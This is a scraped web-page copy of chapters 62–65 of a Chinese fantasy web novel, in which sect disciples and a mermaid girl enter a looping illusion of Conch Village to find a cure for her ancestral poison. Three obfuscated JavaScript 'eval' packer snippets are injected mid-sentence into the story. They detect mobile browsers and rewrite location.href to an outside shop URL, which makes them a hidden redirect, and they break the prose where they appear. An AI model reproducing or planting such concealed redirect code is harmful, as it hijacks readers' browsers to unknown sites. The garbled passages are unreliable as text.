吵死了,泉芷简直听不下去:“那我呢?我有什么错?我凭什么一出生就身带奇毒?我凭什么不生子就要死?我凭什么因为这破毒耗费我十几年的修为和努力?你们好歹是犯了错,我有什么错?” 她说到后边声嘶力竭:“难道我错在……投胎为鲛人?” 二人四只红眼睛对望着。 背景音:“宗主,弟子真的知错了……弟子知错了……请宗主原谅……弟子知错了……” 他猛地一磕头——人就倒了下去。 马二婷回过神来,眼泪都来不及擦:“爹?爹!马三?马三——” 马三在外头应了一声匆匆赶紧来,连忙和马二婷将马老扶了起来坐在扶手椅上,后者匆匆去屋里拿药。 屋里五人默然地看着这一切,明易瞥过眼开口道:“走吧。” 留在这也不知道干啥,那就走吧,刚走到院门口,就听见身后传来两道此起彼伏的凄厉呼喊声:“爹!爹!爹你怎么……” “他死了。”石映心说。 她们看向泉芷,泉芷只是出神地盯着地面,平静地问:“我们什么时候去河那边?” 明易道:“天色已晚,明早去吧。” “……好。” 62. 第 62 章 她们回到陈二娟家中,一进屋就看见她们一家三口正在吃饭。 唯唯手上还拿着筷子就跳了下来,跑过来兴奋道:“哥哥姐姐,你们总算回来了!” 曾换月摸摸她的脑袋:“是呀唯唯。” 桌上那个单眼男人也站了起来,笑着和她们问好:“几位便是村里新来的人?这几日住在这就当是在自己家里,不要客气。” 陈二娟招呼道:“哎呀,我们等你们一起吃饭呢,不过唯唯还在长个子,就让她先吃了。来来来,过来一起吃啊!” 屋里的桌子很小,顶多坐四五个人,陈二娟和她男人已经打算站起来让位置了。顾梦真连忙道:“不用不用,其实我们已经在马老家吃过了。大娘你们吃吧,我现在肚子还涨着呢。” 曾换月说是啊是啊可饱了。 陈二娟自然不会怀疑她们的说法,闻言便点点头,喊唯唯回来继续吃饭,又喜气洋洋道:“对了,隔壁欣妹妹刚生了个孩子,要不吃完饭你们同我一起去瞧瞧?” 唯唯也快乐地跳起来:“小宝宝、小宝宝!” 有人死就有人生,这都是常态。大伙的心情都有些复杂,便婉言拒绝了。 几人进了侧屋把门关上,不意外地瞧见屋子已经被收拾得很干净了,卧房里的床榻也铺上了干净的床铺,桌子上还摆了一些瓜果。石映心拿起来尝了尝,是没吃过的果子,味道一般般。 大伙都有些感慨,曾换月道:“陈大娘真是个好人。” 石映心吃着果子点点头:“嗯。” 明易说:“好好休息吧,明日还要早起。” “好。” 石映心三人进了侧屋,床榻不大,睡三人实在勉强,泉芷便说自己在外屋休息就好了。见她要走,石映心拉住她说:“没事,我们有办法。” 说着拿出星月葫芦来,介绍了用法。 泉芷打量着葫芦有些稀奇,不过依旧拒绝道:“这是个好东西,不过我还是想待在外面……” 曾换月:“葫芦里很干净舒服的。” 泉芷朝她笑了笑:“是,不过我想我是睡不着的。” 她都这么说了,师姐妹二人对视一眼,没再勉强她。 二人睡在床上,曾换月翻来覆去了一会,直起身来挠挠头:“怎么总觉得枕头有些膈人?” 说着把枕头拿起来一看,发现了一个单眼的布娃娃:“这不是唯唯的娃娃?” 石映心道:“可能是和她娘给我们铺床的时候落下的。” “是哦。”曾换月便下了床道,“我拿去还给她。” 她小心打开房门后往外探头看了看,转身道:“师姐,泉芷不见了。” 这么晚了,她会去哪呢?海螺村里也没什么她认识的人啊。石映心想了想:“你去找唯唯,我去找泉芷。” “好。” 石映心来到她们刚来时的河边,果然瞧见泉芷正坐在岸边发呆。下坡时的动静惊扰了她,泉芷回过头一看,惊讶道:“映心,你怎么来了?” 石映心走过去问:“我来找你,你在这做什么?” “……也没做什么,就是吹吹风。” “那你何时回去?” “也许等会吧。” 石映心见她神情有些落寞,眉头不自觉紧蹙着,心想她大概是忧心奇毒的事,便宽慰她:“你很紧张吗?放心,有我们在,一定能帮你找到解毒之法。” 泉芷忍不住苦笑一声:“映心,你为何这么确信呢?解毒之法……连宗主他们都没办法。” 石映心实话实说:“其实我也不知道,不过安慰人的话就是这么说的。” 泉芷:…… “唉,”她叹了口气道,“也不全是这件事。只是今日看了海螺村这么多村民的惨状,又遇见了马老他们……才知道原来他们一直被关在这里受罚。我们族人一直很恨他,但没想过会让其他人受累。” “这是你们先祖的意思。”石映心说,“和你无关,你不用多想。” 泉芷点点头,又摇了摇头道:“是和我无关,但是……但是,我知道他们有多苦,也许比我们还苦……” 石映心回想了一下今日见过的那些村民,语气有些古怪:“我倒觉得还好。” “怎么会呢?” “每个人都有自己的快乐和痛苦。”石映心说,“陈大娘是真的快乐,唯唯也是真的快乐,我看得出来。” “其他村民……” 石映心摇摇头:“其他村民的苦恼和你也不一样。胡家的老头只是生气别人要抢他儿媳妇,黄家两口子只是生气胡家老头不把儿媳妇给他们。他们想要生正常的孩子,但就是知道大概率会生下毛病孩子还会生,我想这对他们来说不是痛苦。” 泉芷叹了口气道:“这是因为他们被关在这里太久,思想和外边的人已经不一样了。他们……太愚昧了,这是不对的。” “所以这是一个选择问题吗?”石映心总结道,“清醒的痛苦……和愚昧的快乐?” 泉芷看向她:“映心,你选什么呢?” 石映心琢磨了一下:“我不清楚,我只知道换月她们快乐我就快乐,她们伤心我就伤心;我还知道我见过的人都无法对此做出抉择,所有人都是摇摆的,一会清醒一会愚昧。你也是,泉芷。” 泉芷怔然又认真地看着她,忽然说:“映心,你是我见过……最与众不同的人。” 石映心反应了一会,忍不住皱了下眉:“那些矮子、傻子、单眼人,竟然还没有我与众不同吗?” 泉芷听得一愣,失笑道:“我不是这意思。我是说……我一见到你,就觉得你很特别……先前师兄和我说,若是喜、觉得一个人很特别,就会很想和她双修……我从没有体会过这样的感觉,直到遇见了你……” 说着说着,她看着石映心的双眼越发深邃起来。 石映心和她对望着,觉得她这样的眼神有几分熟悉,更多的是陌生:“虽然你们合欢宗可以同性双修,不过我并不会你们的双修之法。” 她这个回答让泉芷有些摸不着头脑,但她确实不会来着:“嗯……我也不是要和你双修的意思……虽然我确实想。” 石映心又说:“可我有什么特别之处呢?” 泉芷默了默:“这……我也说不上来。” 石映心心说你说不上来没关系,我可以照照你,于是对着她眨了下眼睛——这是什么感觉呢?就像冰天雪地里摆着一堆木材,得烧一烧……烤鸭边上放着白糖,得蘸一蘸;西红柿边上放着鸡蛋,得炒一炒;排骨边上放着玉米,得煮一煮…… 石映心也想吃……不是,石映心也觉得双修似乎很好玩。 她咽了下口水说:“好,我和你双修。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15944647|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊?”泉芷猛然一愣,眼睛都瞪大了许多,“你、你说真的?” “真的。” “可你不会我们合欢宗的双修之法……” “我有办法,不过你不能多问。” “……” 她确实也多问不了,光是这么轻易地得到了答应就让泉芷晕晕乎乎起来,脑子里那些复杂的思绪一下子都被抛到脑后去了。石映心问她什么时候回去,她说现在就回去。 石映心回到屋里,师妹从床上坐起来道:“师姐,你怎么回来得这么迟?” “和泉芷说了会话。” “好吧。”曾换月打了个哈欠,“我刚刚给唯唯讲了一些外面的事,她真是一个好孩子,除了只长了一只眼睛,其余和正常人没什么不同,性格也活泼可爱。” 石映心点点头,在床上躺下。 师妹在边上嘟嘟囔囔:“明天就要去河那边了,其实我不是很怕的……但那些村民大惊小怪的模样弄得我有些心慌,师姐……” 石映心正想说“没事”,转头一看,曾换月已经睡着了。 那她也睡吧。 第二日。 天还蒙蒙亮的时候大伙就起了,这时候院子里已经传来了动静。明易打开门一看,是陈二娟的单眼男人要出去干活,二人简单打了个招呼,男人说他蒸了几个馒头,让他们到时候自己拿去吃,说完便拿着工具走了。 她们没有拿馒头吃,趁着陈二娟和唯唯还没起来,悄无声息地离开了陈家。 一路往河边走,放眼望去雾蓝色的天罩住了整个海螺村,仿佛又像在海中;时不时哪里传来几声鸟鸣,带着清晨的透凉叫进人心里去。 偶尔遇见早起的村民在院子里洗漱,有些人还和她们打了招呼。 来到河边,清晨的迷雾几乎将河那边的景色完全遮蔽了,一丝一毫也瞧不见;几人简单商量了事宜,不多犹豫便御物飞去。 进了雾中便是伸手不见五指,好在几人已经有了预料、做了准备,用顾梦真的连连绳将彼此连接在一起,就不怕分散;虽说雾中瞧不见人,但还好能听见彼此的声音。 曾换月:“师姐!!师兄!!” 石映心扯扯绳子:“我在这。” 顾梦真:“我们往哪走啊?这什么也瞧不见啊!” 明易:“梦真,用你的辟邪灯试试。” 顾梦真:“等等啊我得找找……” 泉芷:“我嗅到了大海的味道。” 曾换月:“大海?我们不是在河面上的雾里吗……这里到底是哪里?师姐!!” 石映心:“我在这。” 顾梦真:“辟邪灯找到了!这可是我新炼制的加强版——” 下一刻,几人瞧见雾中冒出一点橘黄色漂浮着,她们下意识要往那光亮靠去,但灯光就像火烧着了纸张,忽地腾飞起来,将迷雾悉数吞噬,几人差点被闪瞎眼,连忙把眼皮合上。 咕噜噜…… 石映心睁开眼睛,这下是瞧清了,不过为什么她突然出现在了海里?换月她们呢?她左右看了看,四周一望无际,但除了海水就是海水,有成片的光束从上头落下来,石映心打算先去水面上看看,于是扑腾着要游——咦,怎么腿张不开了? 她低头一看,哪还有腿,只剩下一条鱼尾巴。 石映心:OO? 63. 第 63 章 她顿了顿,深呼一口气,海水吸进来后居然一点也不呛,张开嘴巴后说啊啊了两声,竟然还能说话。她变成鱼了欸…… 不知道怎么回事,但是就先这样吧,去岸上看看。 鱼尾巴仿佛是她天生的一般,游起来格外舒心,穿梭在水里毫无阻碍,她感觉自己也变成了水,她和大海融为了一体;石映心好玩地兜了两圈,幸好脑子里还记得正事,迎着光束往上游去。 出了海面,就瞧见一片金黄的海滩,她往岸边游去,岸上什么人都没有,但不远处似乎有人家,也许换月她们在那里? 上岸的时候她以为自己会像泉芷那样,眨眼之间尾巴就会变成人腿,但事实是她在岸上扑腾了一会,尾巴上都沾了沙粒,依旧还是鱼尾。石映心异想天开地想用鱼尾站起来,但她只挺起来半个身子就摔了一嘴沙子。 什么意思啊?石映心眉心微蹙,心说难道要她跟蚯蚓似地扭过去? 就在她苦恼之时,手一擦碰到了什么,转头一看,是她的帝血剑。这时候石映心想起先前听过的故事: 【鲛人拿过剑,将剑尖刺入自己的下半身,自上而下劈开了鱼尾,血液浸透沙子,鱼尾变成了人腿——“你、你不疼吗?”“我不怕疼。”】 我怕疼啊!我怕!! 曾换月拿着这把莫名冒出来的长剑,哭唧唧地下不了手。她再次环视周围好几圈,仰天哭喊道:“师姐、师兄!你们在哪啊呜呜呜呜……” 老天奶明鉴啊,她可是连做菜都要买超市里片好的生肉生鱼片的,哪里会杀鱼啊??更何况杀的是自己的血肉! 方才在海里还嘚瑟自己变成了美人鱼,甚至拿出留影珠拍照留念的曾换月,哪里想到自己过把美人鱼瘾的代价是要和她一样承受鱼尾变人腿之痛啊?这跟紫砂有啥区别! 她下不了手啊—— 还不如让别人来呢! 顾梦真想,他从不知道自己这么胆小的,拿着剑的手都在颤抖,忧心着等会劈歪了怎么办?不会两只腿歪歪扭扭胖瘦不一吧?嗐,如果映心和大师兄在这,就可以让他们二人帮忙,这两人剑法又好,定是杀鱼不眨眼的——对了,要不他用小木人? 思及此,他从储物空间里拿出了一个巴掌大的呆头呆脑小木人,这会又有些纠结,到底是变映心还是变大师兄呢?似乎并无多少差别,但对他的心态有些影响……还是变映心吧,大师兄冷冰冰一张脸,也不会安慰人…… 他把呆头呆脑小木人往前一扔,小木人变作师妹的模样站在他面前,手上拿着一把剑。 “映心……”顾梦真可怜兮兮地说,“这就是你展示剑术的时候了,你下手要快准狠,不要让师兄太疼啊!” “没事,”呆头呆脑石映心朝他淡定一笑,“不过是分条鱼。” 顾梦真:……等等要不我还是换大师兄吧…… 二师兄,这会反悔可来不及了哦。呆头呆脑石映心两三步走近来,居高临下地打量着他瑟瑟发抖的鱼尾,很快双目一定,仿佛找到了虾线,然后毫不犹豫手一抬,剑一挥—— 钻心的疼痛毫不意外地来了。 泉芷咬牙将剑继续往前推进,谁能有她疼得真切呢?毕竟只有她是真的长了鱼尾,尾巴上的每一处血肉每一片鱼鳞都连接着她的经脉,这疼痛要将她的脑壳劈开。 血液从裂开的肉中冒出来,将她含在眼中的泪水映红了,视线因此变得模糊不清,她满脑子都是好疼,苍白的双唇却紧紧抿着没有吱声。在几欲晕厥的思绪里,隐约浮起了回忆的故事泡泡: 【先祖用分鱼尾之痛为后人带来双腿,鲛人族得以进入新的天地。】 【先祖不怕疼吗?如果分鱼尾后是死不是活呢?】 【生生之谓易,不死不能生。】 可世上真有不怕死之人吗? 石映心从身下血沙中爬起来,满意地朝失而复得的双腿看了看,使了澄净诀将身上的沙子和血迹弄干净,这下她干干净净的一个人,仿若什么也没发生过一般了。她转头看向不远处的人家,打算去那边看看情况,一迈步—— 又摔下去吃了一嘴沙。 奇怪,怎么腿还是软的? 没想到自己还有学走路的时候。要是和归壹派众人说“那个明易啊,还不会走路就已经会御剑飞行了呢”,大多数人都会信的。当然这是假的,不过学走路对天才大师兄来说是件新鲜事,好在也不难。 重新适应了双腿之后,明易很快来到村门口,看着边上村牌石上写着三个字:海螺村。 是他们来时的那个海螺村吗? 先进去看看。 他迈步向前,却见村门口忽然出现一道无形的屏障,好险没撞上去——定睛一看,上头飘着几排字: 【此为九百年前的海螺村】 【改变海螺村怪异惨状,即可得解鲛人毒之法。】 【破镜需入境,不破不出】 意思就是你进了这村,不破局就永远出不来了。 这跟明知眼前是鬼宅还要硬闯的傻蛋恐怖片有啥区别?曾换月好不容易狠下心分鱼尾、踉踉跄跄地来到村门口,原以为进去就能找到师姐师兄了,结果又看到这行字——天要塌了啊! 可往常天塌了有师姐师兄顶着,她是全然不怕的。这会她一人站在村门口,怀疑自己进入了单线剧情——她最讨厌的任务模式!! 进or不进,这是一个问题。 “师姐!!你在哪啊——” “映心!!” 顾梦真眼睁睁地看着呆头呆脑石映心被村门口的空气撞飞,然后啪叽掉在地上,恢复成了小木人的模样。 他连忙指挥着不受指挥的双腿左打右右绊左地扭过去,捡起了地上的小木人拍拍灰,叹了口气道:“映心啊映心,就是你的小木人也是这么冒进,不知道等等师兄……看吧,这下被打回原形了。” 把小木人收起来,他抬眼瞧见了空中漂浮的几排字,摸着下巴斟酌道:“走到这都没遇见映心她们,看来这是单人秘境了,得至少有一人破镜才行……嗐,村里肯定很危险,要不我就在门口等着大师兄他们破镜?” 说着就转了个身,但走两步又顿住了,纠结道:“若不是单人秘境呢,若是她们在里头等着我呢?若是这秘境只能靠我破呢?毕竟多一个人多一份力……我是二师兄,怎么能把希望寄托在两个师妹上?” 算了算了,进去吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15951942|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 进村之后,在村外看的冷清景色一下子变了,路上忽然多了几个村民,瞧着都是……正常人的样子,没缺胳膊没少眼睛,看着脑子也正常。 泉芷有些警惕,不过还是打算先找个村民问问情况,但不等她有动作,有一个女人忽然走了过来:“小芷,你采海螺回来啦?” 泉芷似有所感地低头一看,自己的腰侧挂着一个竹篓,里头装了许多海螺,她点了点头,再一望去——嗯?这个大姐是……陈二娟? 她试探地:“陈大娘?” 陈二娟笑着应道:“欸,你有空去和我家唯唯玩哈,她今早还念叨你呢。” 泉芷微愣:“啊?好。” 等陈二娟走了,她还在原地没回过神来:这里不是九百年前的海螺村吗?为什么还有陈大娘、还有唯唯? 先去看看唯唯吧,她是小孩,也许好套话一些……如果陈家还在那个地方的话,应该是往这边走。 一路走下去,明易见到了许多陌生又熟悉的面孔,比如没有在跳舞的方大哥,正常身量的黄家两口子,一家四口在院子里一边干活一边闲谈的瞧着脑子很正常的胡家人,还有……两只眼睛的唯唯。 唯唯转过头来瞧见来人,拿着布娃娃的手一张开,像长翅膀似的高兴地扑了过来:“映心姐姐,你来陪唯唯玩啦!” 石映心盯着她两只眼睛,点了点头:“嗯。” 唯唯把手中的布娃娃举起来给她看:“姐姐你看,是大姨给我做的布娃娃!” 石映心接过布娃娃一看,和先前的那只并无区别,除了多了一只眼睛:“很可爱……你大姨还没死吗?” 唯唯奇怪地一歪脑袋:“大姨好好的呀。” “……你外婆呢?” “外婆也好好的呀!” “你爹长了几只眼睛?” 幸好是天真简单的小孩,唯唯哈哈大笑起来:“姐姐,人当然是长了两只眼睛呀!一只眼睛的那是怪物!唯唯知道呢。” “一只眼睛也不是怪物。”曾换月拍拍她的头,笑容有些苦涩,“只是个可怜的小孩罢了。” “可怜的小孩?”唯唯眨巴眼睛,“姐姐你是说马有才吗?” “马?马有才是谁?” 唯唯道:“马有才是马叔叔的儿子呀,他和她娘都笨笨的,村里人都说她们是可怜的娘俩呢。” “为什么她们笨笨的?”顾梦真察觉到正常中的不正常,连忙追问道,“她们……是怎么回事?” 唯唯被他的激动吓了一跳,不过还是乖乖道:“马有才她娘是马叔叔在海边捡来的,听我娘说,她原本不笨的,后来不小心生了热病,就变得笨笨的了。但是马叔叔对她很好的,一点也不嫌弃她呢。只不过马有才也随了他娘笨笨的……对了,现在他有个妹妹,还在吃奶呢,不知道长大笨不笨……” 这个故事为何听来有些耳熟? 顾梦真觉得脑子不够用了:“这个马叔叔叫什么名字?” “马叔叔叫……”唯唯皱眉想了想,摇摇头道,“唯唯不记得了,马叔叔是前几年才来村里的外乡人。不过我知道马有才他娘叫什么,叫……绮……她叫泉绮!是不是很好听呀?” 64. 第 64 章 泉绮。 泉…… 她怎么会姓泉呢?泉芷如遭雷劈,脑中一片耳鸣,她晃神地站了起来,这一下居然没站稳,还是唯唯扶住她道:“小芷姐姐,你怎么了?” 泉芷低头看她的两只眼睛:“……那我是谁?” “你是小芷姐姐呀。” “我从哪里来?” “嗯……这个,在唯唯的印象中,小芷姐姐一直都在的呀。” 嗐,这种我是谁、我从哪里来的哲学问题怎么能问小朋友呢?泉芷是有些糊涂了。好在有个不喜欢思考哲学问题的石映心,问了线索之后就往马家去了。 她推开马家院门,看见有一个女人抱着孩子坐在院中发呆。 这是个很漂亮的女人,黑长的头发又粗又亮,绑麻花辫垂在一侧肩上,肤色雪白,像浸满了海水似的水润饱满,身穿粗布麻衣也掩盖不了她的天资过人;听到有人进院的动静,她眉目失神地抬眼看来,双眸中一片朦胧。 石映心和她对视着向她走近,没分一个眼神给她怀中睡着的婴儿。 女人微微蹙眉,先问道:“你是谁?” 石映心说:“你是泉绮?” “你……” “娘子!我回来了。” 转头一看,一个年轻的男人怀中抱着一个三四岁大的孩子,一脸高兴地站在院门口,瞧见院里的人,他挑眉打招呼道:“明易,你来找我啊?” 明易不动声色地打量了男人,发现他长得有几分像马三:“嗯,可有时间?” “你来找我怎么会没时间?在这海螺村,我也就和你聊得来了。” 男人关了院门,把孩子放到女人边上,拍拍他屁股说“去找你娘”,接着就领着明易进屋了。进屋时明易瞧见边上的书房。 二人入座,男人倒茶来,一边倒一边叹了口气:“唉,我方才去胡家看诊,胡家媳妇这不总是怀不上吗?我去看了啊,发现那胡家小子酗酒很严重,一日中难得几个时辰清醒。我就同他直说了,这就是怀上了孩子也不健康。结果人家压根不把我的话放在心上,只说让我给她媳妇开药来。” 明易转了转茶盏:“你开了吗?” “开了啊,不然不让我走。”男人把手一摊,似乎很无奈,“怎么说也是别人的家事,我哪好多说?就是回来同你唏嘘一下罢了。” 明易:“可若是真生下一个有病的孩子……那该如何?” “该如何也是他们胡家该想的事,与我有何干系?” 明易抬眼看他,声音平板:“有病的孩子日后会生下有病的后代,子子孙孙,无穷匮也。” 男人诧异地看向他,嘴角一扯笑道:“老兄,你想得也太远了吧!” “这么说的话,那你的孩子……”顾梦真愁眉苦脸地看着他,“是不是长大之后也会给他找婚配啊?” 男人喝茶的动作一顿,含糊道:“我和夫人都会老,等我们老了之后谁照顾有才呢?” “那你的女儿……” “小女应是正常的。”男人松了口气,笑了笑,“我看过许多次了。” “你夫人不是中途才生的病吗?”泉芷漠然看着他,“为何她的孩子会和她一般痴呆?” 男人闻言,深深叹了口气:“是我医术浅薄,也是天意弄人啊。” 泉芷却是一笑:“呵,医术浅薄?真是过谦了。我看你明明是毒术过人,故意将泉绮毒成这样的吧!” 咚!茶盏被砸到桌上,男人勃然大怒道:“你胡说八道什么!” 泉芷站起来,玉笛拿在手中指着他,通红的双眼里满是痛恨:“马懿,我现在就杀了你为我鲛人族报仇!” 马懿目眦具裂地瞪着她:“鲛人……你竟也是……” 话音未止,人头先落。 她们不管不顾地在屋里翻找起来,企图找到一本记载解毒之法的禁书。满满当当的书格被明易一目十行地翻遍了;想着可能有密室的顾梦真把全屋都敲打过;曾换月将院中的土挖起来找宝藏;石映心把尸体拎起来抖了抖——啥也没有。 怎么会这样? 为什么找不到? 泉芷茫然地走出屋子,看见泉绮坐在院子中朝她看来,她边上还坐着两个小孩,大孩子抱着小孩子正在呼呼大睡。 她……她其实不知道怎么面对先祖。可还是一步步地走近了,像个做错事的孩子来认错:“先祖……我,我找不到……” 泉绮无神的双目看向她,声音冷淡:“你是谁?” “我……我是泉芷,我是鲛人……” “你究竟是泉芷还是鲛人?” 为什么这么问?她是泉芷,也是鲛人啊。 “别管我是谁。”石映心有些不耐地看着她,“告诉我解毒之法在哪。” 泉绮轻笑一声,抬眉道:“解毒之法就在你的身上。” 石映心:? 她身上有没有解毒之法难道她自己还不知道:“……你真是被毒傻了?” 泉绮:…… “好,”泉绮站起来,缓步朝她走近,脸上的笑容越来越大,“看在你的份上,我再给你们一次机会。” 石映心:“我不要机会,我要答案。” “……真是油盐不进的蠢物。” 泉绮不恼火地哼笑一声,嘴巴微张,一阵天籁歌声传入石映心的耳朵;与此同时还在翻书敲木头刨土的师兄妹三人如听仙乐耳暂明,两眼一直就晕了过去—— 【此为五百年前的海螺村】 【改变海螺村怪异惨状,即可得解鲛人毒之法。】 【破镜需入境,不破不出】 曾换月揉了揉眼睛——她没看错啊,怎么又变成五百年前了?而且……她看了看自己的刷新点,是站在村里而不是村外……她还在秘境之中。 这意思是上一局崩了?现在要开局重来? 还能这样啊! 曾换月哭丧着一张脸,不明白自己做错了什么,但真是没招了,只好硬着头皮继续往村里走。 走着走着,忽然瞧见前边一片红火,好多人聚集在那很热闹。她定睛一看,似乎是唯唯家?才刚走进,听见有人叫她:“哎呀换月啊,可找到你了!” 曾换月张望了一下,怎么瞧不见人呢?她忽然想起什么,脖子僵硬地往下一咔,瞧见了矮矮的黄家女人。她怎么…… 黄家女人今日有做格外的打扮,喜气洋洋地拉着她说:“换月,你快进屋里去,唯唯找你呢!” “啊?唯唯?” “是啊!” 她被迫弯着腰,茫然地被黄家女人拉过人群拉进了屋里,然后往一个卧房里一推道:“新娘子有话和你说!” 新娘子?? 曾换月无措地走进屋里,看见那个背对着她的、穿着红嫁衣的身影,一时呼吸都不会了,只怕转过来一张…… 好险,还是两只眼睛:“换月姐,你方才去哪了?” 曾换月看着唯唯新娘子的装扮,有些陌生有些熟悉,但幸好还是正常的:“我、我有些事……你,额,找我有事?” “是呀,”唯唯微微嘟嘴,装作不高兴道,“你等会可是要送我出嫁的,可别走丢了。” “我送你出嫁?” 见她一脸惊讶,唯唯还觉得奇怪呢,走过来拉住她的手说:“是呀,自从我娘去世后,我只剩下你一个姐姐了……我们胜似亲人,这可是姐姐你说的。” 啊?陈大娘死了?? 这下连曾换月都控制不住地问道:“你娘为什么死了?” “姐姐你忘了?娘她患了和外婆还有大姨一样的病,苟延残喘几月就去了……”说着说着她也伤感起来,抹去眼角的一滴泪,挤出一个笑道,“现在村里都传我也有这病呢,不过幸好我相公不在意,他说会一辈子对我好……” “什么?”曾换月脑子一团浆糊:“陈大娘……还有他、你相公……” 唯唯陷入到自己的思绪中,出神地喃喃道:“他是个很好的人,踏实能干,温柔体贴,哪哪都好,虽然……只长了一只眼睛。” 一只眼睛。 曾换月看她的红唇一开一合,什么也听不进去了。 这是什么情况?怎么会这样…… 她惊慌地离开了这片喜气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15958019|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋洋的红,往马家跑去。她想问个明白,这一切究竟是怎么回事? 他跑过方家,瞧见一个在院子里跳舞的小孩,院外有两个村民在说话,说方家男人不该娶马家的女儿,生下来这样的古怪小孩。 她跑过黄家,听见一个清脆巴掌声,女人骂道:“别以为我不知道你和那个小贱人的肮脏事!”男人也是怒气腾腾:“我当初就不该找你这矮冬瓜!生了一个小冬瓜!你要有本事,你也去找野男人!”女人气急败坏:“我原以为你长这么高能和我相抵,没想到你这么没用!” 他跑过胡家,门口有三人在拉扯,一个老太婆左手拉着一个年轻女人,右手指着一个醉醺醺的男人骂道:“我遭天谴生了你这么个不争气的儿子,好好一个人嗜酒成性神志不清,跟个傻子也没区别!活该只能娶真傻子!” 泉芷推开马家的院门,看见马二婷在屋里浇花,她转过头来,笑了笑道:“小芷,你不是正在唯唯家忙活吗?” 泉芷愣了愣:“……马二婷?” 女人也是一怔,忽而笑道:“我是嫁给了马三不错,但我没改夫姓呀,你还是叫我李二婷吧。” “马……”顾梦真双眼发直,“马几?” 这时屋里出来一个抱着孩子的男人,正是马三,他笑着打招呼道:“欸,梦真你怎么来了?小懿,快和叔叔打招呼。” 马懿从他爹的怀里抬起头来,朝他招了招手:“映心姐姐好。” 石映心直勾勾地盯着马懿:“你这孩子有病吗?” 夫妇俩一愣,对视一眼,还是马三尴尬解释道:“嗐,据我爹说,我嫁给方家的妹妹已是我们马家最后一代有病的孩子了。自我和马懿开始……便都是正常人。你也知道了,我往上十八代祖宗就开始下了铁令,说只能娶正常人……” “原来……”明易轻轻一声嗤笑,“他早就知道了。” 现在大家都知道了,可知道问题和解决问题是两回事。 “都是你害的……” 泉芷一步步朝他走近,通红的双目里溢出泪花,落在地上变成自在的珍珠。她猛然攥住马懿的衣领,一字一句道:“都是你害的!这一切都怪你!” “小芷你做什么!”马三惊慌地要后退,但怎么也掰不开泉芷的手,“小芷?你怎么了?” 泉芷恶狠狠地喊:“我要杀了他!我要杀了他!” “你下得了手吗?” 泉芷转头一看,李二婷……不,泉绮站在那,面无表情地看着她:“你看清楚了?他如今只是个普通的孩子。” 马三紧接着说:“是啊,小懿只是个小孩,他就是犯错了也是无心的,小芷你不要生气,我代他和你请罪……” “不、不……”泉芷颤抖的手还不愿意放开,她摇摇头,晃着的视线看向那个一脸天真的小孩,“他就是他,他就是他!我知道……他就是他!先祖,我要怎么办……” “杀了他呀,不是你说的吗?” 泉芷泪流满面地逼问着:“马懿,你不要再装了!告诉我解毒之法!” “原来是这样。” 石映心睁开眼睛,静静地目视前方:“这确实是个办法。” 泉绮盯着她,笑容有些古怪:“我只是一念残魂,你竟也能照?看来是我低估了你的本事……小镜灵。” “我不是镜灵,我是石映心。” 泉绮哈哈笑起来,鲛人的声音清脆悦耳:“你是你,你也不是你。照别人的心思、解别人的难题很容易对吗?今日方知我不是我,石映心,终有一天你也会明白这句话……” 她走近来,麻花辫散开,长发便飘逸着,五官渐渐朦胧了起来;她的双腿变成了鱼尾,身姿挺拔地立在土地上,双目注视着天空,仿佛在遥望着什么。 泉绮说:“杀了我,让我死在你的帝血剑下。” 石映心:“你怎么知道我的剑叫帝血剑?” 泉绮却不再作答,一句又一句地重复起来:“杀了我……杀了我……杀了我……杀了我……石映心!” 帝血剑劈开鲛人迷惑人心的声音。 一念残魂便无影无踪了。 65. 第 65 章 咕噜噜…… 咕噜噜…… 哪来的水声? 泉芷猛然回过神来,摇摇头晃出脑中的水声。再一睁眼定神,就瞧见自己还在马家院中,双手攥着小马懿的衣领。她记起自己说要杀他的事,但不知方才为何走神了,仿佛去了一个很远很远的地方…… 转头一看,已经不见了泉绮的身影,只有李二婷警惕地拉住她的手腕说:“小芷,你冷静一点!有什么事好商量。小懿只是一个三岁小孩……” “不!他是——” 咚。 泉芷正要分辨,但手上被什么砸了一下,她诧异看去,手背上沾了血,视线一移,地上有一个球正在滚动——正是马懿的小脑瓜。 说要杀人的她却是吓了一跳,好像只是揪着领子的她真的是罪魁祸首。泉芷和地上的马懿对视着,诧异地退了一步,又听一声“咚”,她抬眼看去,抱着无头孩子的马三这会也是无头人了。 “怎么……”回事? 咚。她猛一转眼,这次掉头的是李二婷。 什么意思? 她们为何一言不合就掉头了? 